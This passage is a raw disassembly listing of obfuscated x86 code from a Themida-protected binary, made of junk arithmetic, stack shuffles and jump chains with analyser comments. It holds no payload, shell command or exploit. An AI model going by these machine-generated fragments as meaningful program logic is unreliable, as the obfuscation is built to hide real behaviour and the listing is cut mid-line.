mov [esp+0Ah+var_C+2], edx mov edx, 37D314AAh dec edx push esi mov esi, 57EF2D68h jmp loc_56E3FB ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561638: ; CODE XREF: Themida_:00564425j neg eax push edx jmp loc_56EAC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561640: ; CODE XREF: sub_56755A-BBFj pop esi neg ebp shr ebp, 6 jmp loc_55BF0D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56164B: ; CODE XREF: Themida_:00569EBAj xor dh, cl pop ecx inc dh xor dh, 0DAh sub al, 0C3h add al, dh add al, 0C3h push dword ptr [esp] pop edx jmp loc_56907C ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_55B555 ; =============== S U B R O U T I N E ======================================= sub_56166C proc near ; CODE XREF: sub_5664A8-7A2Fj push ebx mov ebx, 381075B0h sub edx, ebx pop ebx push dword ptr [esp+0] pop esi add esp, 4 jmp loc_55B555 sub_56166C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561684: ; CODE XREF: sub_56755A+64CCj pop edi xchg ecx, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] inc word ptr [esp+6+var_8+2] pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561695: ; CODE XREF: Themida_:0055C8E5j mov esp, [esp] add edi, 2 push edi jmp loc_5669C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5616A1: ; CODE XREF: sub_56755A+174Fj xor eax, [esp+0Ah+var_C+2] xor [esp+0Ah+var_C+2], eax xor eax, [esp+0Ah+var_C+2] jmp loc_566F78 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_5616AF: ; CODE XREF: sub_560B67+62EDj mov edi, 5EC838DDh or edi, 6D915E0Dh shl edi, 7 jmp loc_55CA99 ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5616C2: ; CODE XREF: sub_56755A-6912j mov edx, [esp+18h+var_18] add esp, 4 add esp, 4 sub edi, 3383E295h xor ebx, edi push [esp+10h+var_10] jmp loc_5625BF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E257 loc_5616DB: ; CODE XREF: sub_55E257+Bj push ecx push 2987D17h pop ecx push eax mov eax, 79554834h sub eax, 69E01714h and eax, 40774EB9h jmp loc_55D033 ; END OF FUNCTION CHUNK FOR sub_55E257 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D600 loc_5616F7: ; CODE XREF: sub_56D600-982Cj not dh xor dh, 0D1h push eax jmp loc_56CF56 ; END OF FUNCTION CHUNK FOR sub_56D600 ; --------------------------------------------------------------------------- loc_561702: ; CODE XREF: Themida_:0056AD0Aj pop ecx add ebp, 4 xchg ebp, [esp] mov esp, [esp] push edx jmp loc_570559 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561712: ; CODE XREF: sub_56755A-8048j pop esi jmp loc_563CD9 ; --------------------------------------------------------------------------- loc_561718: ; CODE XREF: sub_56755A-1656j xchg ecx, [esp+30h+var_30] pop esp mov [esp+2Ch+var_2C], esp add [esp+2Ch+var_2C], 4 mov edx, [esp+2Ch+var_2C] add esp, 4 push ebx sub esp, 4 mov [esp+30h+var_30], ebp mov ebp, 5C7946A7h xchg ecx, ebp not ecx xchg ecx, ebp jmp loc_55F597 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_561746: ; CODE XREF: sub_55CD7B+D3E1j xor edx, esi pop esi jmp loc_56A7EA ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- loc_56174E: ; CODE XREF: Themida_:0055BB66j mov edx, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 jmp loc_560F18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561762: ; CODE XREF: sub_56755A+237Ej push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_55DD51 ; --------------------------------------------------------------------------- loc_561773: ; CODE XREF: sub_56755A+29CBj mov ebx, esp add ebx, 4 jmp loc_56BE30 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561780: ; CODE XREF: Themida_:00560F73j xor ebx, [esp] pop esp jmp loc_56E932 ; --------------------------------------------------------------------------- loc_561789: ; CODE XREF: Themida_:0056CF7Aj mov cx, 10EDh jmp loc_56EF84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55EF75 loc_561792: ; CODE XREF: sub_55EF75+11j add edi, 4 sub edi, 4 xchg edi, [esp+8+var_8] jmp loc_5682FB ; END OF FUNCTION CHUNK FOR sub_55EF75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F13C loc_5617A6: ; CODE XREF: sub_56F13C-88B5j not eax inc eax add eax, 9010403h add edx, eax pop eax add edx, 4 push edx push [esp+arg_0] pop edx pop dword ptr [esp+0] jmp loc_56100B ; END OF FUNCTION CHUNK FOR sub_56F13C ; --------------------------------------------------------------------------- loc_5617C5: ; CODE XREF: Themida_:005625BAj mov bl, 9Dh mov cl, bl pop ebx add cl, 6Eh xor dl, cl pop ecx jmp loc_5694D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5617D5: ; CODE XREF: sub_56755A+66BDj mov edx, [esp+34h+var_34] add esp, 4 xor ecx, [esp+30h+var_30] xor [esp+30h+var_30], ecx xor ecx, [esp+30h+var_30] mov esp, [esp+30h+var_30] push ebp push 800000h jmp loc_56A856 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5617F2: ; CODE XREF: Themida_:00560CE5j add ch, ah push ebx mov bh, 7Eh neg bh sub bh, 0BDh shl bh, 7 neg bh push eax mov ah, 0BAh xor bh, ah pop eax add ch, bh pop ebx mov eax, [esp] add esp, 4 jmp loc_569047 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55BA18 loc_561818: ; CODE XREF: sub_55BA18+1Aj mov [esp+4+var_4], ebx jmp loc_55C2A6 ; END OF FUNCTION CHUNK FOR sub_55BA18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561820: ; CODE XREF: sub_56755A-B4D5j mov ah, dh pop edx mov cl, ah pop eax jmp loc_55CC5A ; --------------------------------------------------------------------------- loc_56182B: ; CODE XREF: sub_56755A+2B6j pop esp sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 0F6AC26CBh push esi mov esi, 1F183AA7h sub edx, esi pop esi sub edx, ebx add edx, 1F183AA7h jmp loc_562C14 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561850: ; CODE XREF: Themida_:0056E570j add esi, 4 jmp loc_5674FB ; --------------------------------------------------------------------------- loc_56185B: ; CODE XREF: Themida_:0056245Dj shl ecx, 8 jmp loc_55F741 ; --------------------------------------------------------------------------- loc_561863: ; CODE XREF: Themida_:00568312j pop ecx push ebx push 3E7B36DDh jmp loc_55EB11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_56186F: ; CODE XREF: sub_56CEE9-10455j mov edx, ebp push 59B5h mov [esp+0Ch+var_C], edx sub [esp+0Ch+var_C], 3FF7CCDh pop ebx push edi mov edi, 3FF7CCDh add ebx, 70610845h add ebx, 4D7338D3h add ebx, edi jmp loc_564E56 ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_56189A: ; CODE XREF: sub_55FDEF-14C9j add eax, 6F903598h add eax, esi sub eax, 6F903598h jmp loc_55EFD9 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5618AB: ; CODE XREF: sub_56755A+7AEj mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop edx add edx, 4 jmp loc_563C15 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C86A loc_5618C1: ; CODE XREF: sub_56C86A-630Bj mov ebx, 2 sub ebp, 1EDF54AEh add ebp, ebx add ebp, 1EDF54AEh push [esp+4+var_4] pop ebx push ebx jmp loc_56EA4D ; END OF FUNCTION CHUNK FOR sub_56C86A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_5618DE: ; CODE XREF: sub_563973+B244j push edx mov edx, 63FB56F6h jmp loc_5689AC ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5618E9: ; CODE XREF: sub_56755A-3D8j add ebx, 4C0FBEEEh add ebp, ebx pop ebx jmp loc_562C65 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5618F7: ; CODE XREF: Themida_:0056B56Bj push 7D3Eh mov [esp], esp add dword ptr [esp], 4 pop ebx jmp loc_55CE1E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561909: ; CODE XREF: sub_56755A-B545j add eax, 4 xchg eax, [esp+12h+var_14+2] mov esp, [esp+12h+var_14+2] loc_561912: ; CODE XREF: sub_5643B1+70C8j sub esp, 4 mov [esp+16h+var_18+2], esi push ebx sub [esp+1Ah+var_1C+2], 64FF7986h jmp loc_563997 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DE37 loc_561928: ; CODE XREF: sub_55DE37-1DAAj pop esp or edx, eax jmp loc_568516 ; END OF FUNCTION CHUNK FOR sub_55DE37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_561930: ; CODE XREF: sub_56E89A-A928j mov [esp+0], eax jmp loc_56F053 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_561938: ; CODE XREF: Themida_:00562B56j mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ebx, 2 jmp loc_55C94E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561956: ; CODE XREF: sub_56755A-9561j mov ebp, 4 jmp loc_56B4BF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561960: ; CODE XREF: Themida_:0056423Bj shr bl, 4 shr bl, 2 xor bl, 0A2h jmp loc_560D0A ; --------------------------------------------------------------------------- loc_56196E: ; CODE XREF: Themida_:0055E789j add ebx, 1D114B42h add ebx, eax sub ebx, 1D114B42h pop eax xchg ebx, [esp] jmp loc_560302 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_561985: ; CODE XREF: sub_56CB1B+22EEj add ebx, 4 xor ebx, [esp+8+var_8] xor [esp+8+var_8], ebx jmp loc_560299 ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_561993: ; CODE XREF: sub_562F50-5595j push 4A6Dh mov [esp+4+var_4], edi mov edi, 0B90AB6FFh sub eax, 52DF7B69h sub eax, edi jmp loc_562612 ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- loc_5619AC: ; CODE XREF: Themida_:0056266Cj mov ah, 3Ah xor dh, ah pop eax push 11C6h mov [esp], eax mov al, 1Dh push dx mov dh, al not dh mov al, dh mov dx, [esp] add esp, 2 jmp loc_56A59B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5619CF: ; CODE XREF: sub_56755A+83C4j pop eax jmp loc_565946 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5619D5: ; CODE XREF: Themida_:0056E24Dj push edi mov edi, 59584C01h add ebx, edi jmp loc_5705F1 ; --------------------------------------------------------------------------- loc_5619E2: ; CODE XREF: Themida_:00562260j jmp loc_55B555 ; --------------------------------------------------------------------------- loc_5619E7: ; CODE XREF: Themida_:0055D2A8j mov ebx, 4FED3C35h mov edi, ebx pop ebx add esi, 590C3E61h add esi, edi sub esi, 590C3E61h mov edi, [esp] add esp, 4 jmp loc_569878 ; --------------------------------------------------------------------------- loc_561A08: ; CODE XREF: Themida_:0055D2D8j and esi, 23A16619h jmp loc_55FABE ; --------------------------------------------------------------------------- loc_561A13: ; CODE XREF: Themida_:0056030Ej push ax pushf jmp loc_55E2E2 ; --------------------------------------------------------------------------- loc_561A1B: ; CODE XREF: Themida_:00570585j sub eax, edx jmp loc_55E5B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561A22: ; CODE XREF: sub_56755A-7C65j pop ecx jmp loc_569B53 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561A28: ; CODE XREF: Themida_:0055D77Dj xchg ebp, [esp] jmp loc_565668 ; --------------------------------------------------------------------------- loc_561A30: ; CODE XREF: Themida_:0056DFDAj mov eax, 3C2D1F93h xor edx, eax pop eax pop ebp push ecx mov ecx, 345D17CFh jmp loc_56500D ; --------------------------------------------------------------------------- loc_561A44: ; CODE XREF: Themida_:0055F120j mov ebx, ecx pop ecx add [esp+4], ebx pop ebx pop eax add eax, 4 push 913h jmp loc_55E517 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560C97 loc_561A5C: ; CODE XREF: sub_560C97+8j add bh, 0FFh not bh push ecx mov ch, 3Ah sub ch, 0CEh jmp sub_56C64C ; END OF FUNCTION CHUNK FOR sub_560C97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561A6C: ; CODE XREF: sub_56755A-3D2Aj xor ebp, 463F195Ch jmp loc_55CC6B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561A77: ; CODE XREF: Themida_:00565D78j sub ecx, 1C30A7Dh sub ecx, eax add ecx, 1C30A7Dh pop eax jmp loc_55CEAF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_561A8B: ; CODE XREF: sub_563973+9507j or ebx, edx pop edx jmp loc_560357 ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561A93: ; CODE XREF: sub_56755A-B21j mov [esp-8+arg_4], edi mov edi, 61BE5D8Fh shl edi, 7 add edi, 20D13884h sub ebp, 7C4F0C5Ch add ebp, edi add ebp, 7C4F0C5Ch push [esp-8+arg_4] pop edi push eax mov eax, esp add eax, 4 push ebx mov ebx, 4 add eax, ebx pop ebx xchg eax, [esp-4+arg_0] pop esp add ebp, 4 jmp loc_55F30C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565C4A loc_561AD6: ; CODE XREF: sub_565C4A+8j pop ebx jmp loc_55F36E ; END OF FUNCTION CHUNK FOR sub_565C4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_561ADC: ; CODE XREF: sub_56CEE9-40B5j add edx, 2DEB8511h shl edx, 1 neg edx sub edx, 1 jmp loc_55C4F2 ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- loc_561AEE: ; CODE XREF: Themida_:00564173j push dword ptr [esp] push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 add esp, 4 jmp loc_56C20C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_561B0E: ; CODE XREF: sub_56CEE9+2DC0j sub ebx, edi pop edi pop edi mov edx, [esp+4+var_4] add esp, 4 push edi mov edi, ebx mov eax, edi pop edi mov ebx, [esp+0] add esp, 4 pop ebp push edx mov edx, esp add edx, 4 push eax mov eax, 4 sub edx, eax mov eax, [esp+0] jmp loc_55D764 ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- loc_561B44: ; CODE XREF: Themida_:00560FA2j xor [esp], edx jmp loc_56DD42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561B4C: ; CODE XREF: sub_56755A-2C48j sub edi, 4 push edi push [esp-4+arg_4] mov edi, [esp+0] add esp, 4 pop [esp-4+arg_0] pop esp mov [esp-0Ch+arg_8], eax mov eax, 34C86D8Dh jmp loc_56A43C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561B6B: ; CODE XREF: Themida_:0055C95Dj jmp loc_55B555 ; --------------------------------------------------------------------------- loc_561B70: ; CODE XREF: Themida_:0055EA5Ej mov [esp], ecx jmp loc_56A47D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561B78: ; CODE XREF: sub_56755A-8A2j not ecx not ecx add ecx, 6D245B60h add edi, ecx pop ecx add ebp, edi jmp loc_56E830 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561B8C: ; CODE XREF: Themida_:005634D2j push esp pop esi jmp loc_569ECC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566FBB loc_561B93: ; CODE XREF: sub_566FBB-7F2Ej pop esi push ebx mov ebx, 4257789Eh add ecx, ebx pop ebx push ebp mov ebp, 3310EE05h xor ecx, ebp pop ebp xor eax, ecx push [esp-4+arg_0] pop ecx add esp, 4 jmp loc_56CBD2 ; END OF FUNCTION CHUNK FOR sub_566FBB ; --------------------------------------------------------------------------- loc_561BB7: ; CODE XREF: Themida_:00570400j sub al, 0F1h jmp loc_5642D8 ; --------------------------------------------------------------------------- loc_561BBE: ; CODE XREF: Themida_:0055BF65j mov edi, 4DE44495h xor ebp, edi pop edi push 2531h jmp loc_56A5BB ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_56C819 ; --------------------------------------------------------------------------- loc_561BD9: ; CODE XREF: Themida_:0056C310j add esi, 4 xchg esi, [esp] jmp loc_5639EC ; =============== S U B R O U T I N E ======================================= sub_561BE4 proc near ; CODE XREF: sub_56755A+7371j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560A8A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056E105 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0057045C SIZE 00000030 BYTES push ebx mov ebx, 4 add edx, 79F9737Dh add edx, ebx sub edx, 79F9737Dh pop ebx xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] pop esp sub esp, 4 mov [esp+0], ebx push 5990h mov [esp+4+var_4], eax push 0E851A8h jmp loc_560A8A sub_561BE4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_561C1E: ; CODE XREF: sub_56CB1B+A4Bj add esp, 4 std push ebx mov ebx, esp push esi mov esi, 63282BB5h inc esi add esi, 9CD7D44Eh jmp loc_55C936 ; END OF FUNCTION CHUNK FOR sub_56CB1B ; =============== S U B R O U T I N E ======================================= sub_561C3A proc near ; CODE XREF: sub_56755A+2D3j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0055DB04 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055F52A SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0055F5FA SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00563704 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00564CB2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056691B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00566D50 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00569696 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056997F SIZE 00000010 BYTES push ebx mov ebx, 0F6C472Dh and ebx, 71F52C21h add ebx, 30EE2B5Bh add ebx, 2F5C7790h add ebx, 1620D77Ah add esi, 400016A4h add esi, ebx sub esi, 400016A4h jmp loc_563704 sub_561C3A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561C6B: ; CODE XREF: sub_56755A+6EA9j pop esi push esi mov esi, 0E59B3566h add edx, esi pop esi xor esi, edx mov edx, [esp-14h+arg_10] jmp loc_56952D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AC81 loc_561C7F: ; CODE XREF: sub_56AC81+17j mov eax, 4 add ebp, eax pop eax xchg ebp, [esp+0Ch+var_C] pop esp pop [esp+8+var_8] pop esp push 1CBAh mov [esp+4+var_4], ebx push esp push [esp+8+var_8] pop ebx add esp, 4 jmp loc_56E9E5 ; END OF FUNCTION CHUNK FOR sub_56AC81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561CA7: ; CODE XREF: sub_56755A+4E8Aj push 444Ch mov [esp-10h+arg_C], edx mov edx, 4A1C03C2h sub edi, 21F6662Ch sub edi, edx jmp loc_56A7D2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561CC1: ; CODE XREF: Themida_:0056BEA6j shl ch, 6 xor ch, 52h sub al, ch pop ecx sub esp, 4 mov [esp], edx jmp loc_566982 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B774 loc_561CD5: ; CODE XREF: sub_56B774-AD88j add esi, 4 xchg esi, [esp+10h+var_10] pop esp jmp loc_566CE6 ; END OF FUNCTION CHUNK FOR sub_56B774 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561CE4: ; CODE XREF: sub_56755A-BF2Aj sub esi, ebp pop ebp push [esp+4+var_4] jmp loc_562B5B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561CEF: ; CODE XREF: Themida_:0055D4B9j shl ebp, 3 shr ebp, 4 push eax push ebx mov ebx, esp add ebx, 4 jmp loc_566E29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561D04: ; CODE XREF: sub_56755A-88EEj xor al, bh mov ebx, [esp+0] sub esp, 4 mov [esp+4+var_4], eax sub esp, 4 mov [esp+8+var_8], esp jmp loc_55B8B1 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_561D1D proc near ; CODE XREF: sub_56755A-68E9j var_4 = word ptr -4 sub esp, 2 mov [esp+4+var_4], cx mov ch, 57h sub ch, 0FFh sub ch, 0D6h jmp sub_56C86A sub_561D1D endp ; --------------------------------------------------------------------------- loc_561D34: ; CODE XREF: Themida_:00568EEFj pop edx push 25ABh mov [esp], ebx sub esp, 4 push esp pop dword ptr [esp] jmp loc_56DCCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DD27 loc_561D4C: ; CODE XREF: sub_55DD27+1A97j push [esp+8+var_4] jmp loc_56BF80 ; END OF FUNCTION CHUNK FOR sub_55DD27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561D55: ; CODE XREF: sub_56755A-A53j xchg eax, [esp+8+var_8] mov esp, [esp+8+var_8] add ebx, 19A145E3h add ebx, eax push 4A04h jmp loc_56F504 ; --------------------------------------------------------------------------- loc_561D6D: ; CODE XREF: sub_56755A-8E70j xor edx, [esp+2Eh+var_30+2] pop esp shl byte ptr [esp+2Ah+var_2C+2], cl pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_561D7A: ; CODE XREF: sub_56F653-9D56j and bh, dl jmp loc_564457 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- loc_561D81: ; CODE XREF: Themida_:00562167j add esi, 4 xchg esi, [esp] pop esp pop dword ptr [esp] pop esp test cx, ax pushf jmp loc_55C591 ; =============== S U B R O U T I N E ======================================= sub_561D98 proc near ; CODE XREF: sub_5622B3+3775j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056433C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00564B23 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00564F97 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056C78B SIZE 00000012 BYTES sub esp, 4 mov [esp+4+var_4], eax push 3D3C2919h pop eax jmp loc_56433C sub_561D98 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_561DA9: ; CODE XREF: Themida_:005645DCj push esp pop ebp jmp loc_565410 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_561DB0: ; CODE XREF: sub_566504-AC29j push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp+0] pop esp and eax, edx pop edx or eax, eax jz loc_567272 push 5F6h mov [esp-4+arg_0], eax mov eax, 1Ch add eax, edi jmp loc_5668C1 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- db 89h dd 0EC83240Ch, 9D81E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561DEA: ; CODE XREF: Themida_:0055F3F9j xchg ecx, [esp] pop esp pop dword ptr [esp] pop esp push 47E2h mov [esp], esi jmp loc_563057 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561DFF: ; CODE XREF: sub_56755A-7723j sub eax, edi mov edi, [esp+8+var_8] jmp loc_5635C5 ; --------------------------------------------------------------------------- loc_561E09: ; CODE XREF: sub_56755A-1870j pop ebx add bl, 7Ch jmp loc_56B225 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561E12: ; CODE XREF: Themida_:0056B43Fj xor ebp, 17CB1A96h dec ebp xchg edx, ebp jmp loc_55F4DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561E20: ; CODE XREF: sub_56755A+944j push eax jmp loc_55B5A5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F83B loc_561E26: ; CODE XREF: sub_56F83B-1068Cj pop edi xor ebx, [esp+4+var_4] jmp loc_567884 ; END OF FUNCTION CHUNK FOR sub_56F83B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560483 loc_561E2F: ; CODE XREF: sub_560483-3F1Cj xchg eax, [edi+24h] add eax, 1 xor [edi+24h], eax jmp loc_567BBE ; END OF FUNCTION CHUNK FOR sub_560483 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561E3D: ; CODE XREF: sub_56755A+798j pop ecx add esp, 4 and bl, dh jmp loc_560A1B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F861 loc_561E4B: ; CODE XREF: sub_55F861+6DD2j mov ecx, ebx jmp loc_563440 ; END OF FUNCTION CHUNK FOR sub_55F861 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FE13 loc_561E52: ; CODE XREF: sub_55FE13+8756j movzx eax, al jmp loc_56AA4B ; END OF FUNCTION CHUNK FOR sub_55FE13 ; --------------------------------------------------------------------------- loc_561E5A: ; CODE XREF: Themida_:005613AAj push ebx mov bh, ch mov dl, bh pop ebx push dword ptr [esp] pop ecx add esp, 4 jmp loc_5664C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_561E6C: ; CODE XREF: sub_55FDEF+F33j mov ecx, [esp+10h+var_10] jmp loc_567580 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- loc_561E74: ; CODE XREF: Themida_:0056CBCDj push edi jmp loc_5697CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_561E7A: ; CODE XREF: sub_560B67-DD2j mov ebp, 1 and eax, ebp push dword ptr [esp+0] mov ebp, [esp+4+var_4] push esi push esp push [esp+0Ch+var_C] pop esi add esp, 4 add esi, 4 add esi, 4 xchg esi, [esp+8+var_8] pop esp jmp sub_562272 ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561EA2: ; CODE XREF: sub_56755A+43D2j push 16E2h mov [esp+4+var_4], edx mov edx, 2 sub ebx, 4B9E1EEAh add ebx, edx jmp loc_56A952 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561EBC: ; CODE XREF: Themida_:0055CD59j sub esi, edx pop edx push edx mov edx, 12194C64h sub edx, 58223990h jmp loc_56AA92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B62C loc_561ED0: ; CODE XREF: sub_56B62C-92j push dword ptr [esp+0] jmp loc_56D41B ; END OF FUNCTION CHUNK FOR sub_56B62C ; =============== S U B R O U T I N E ======================================= sub_561ED8 proc near ; CODE XREF: sub_5615A9+4E46j arg_0 = dword 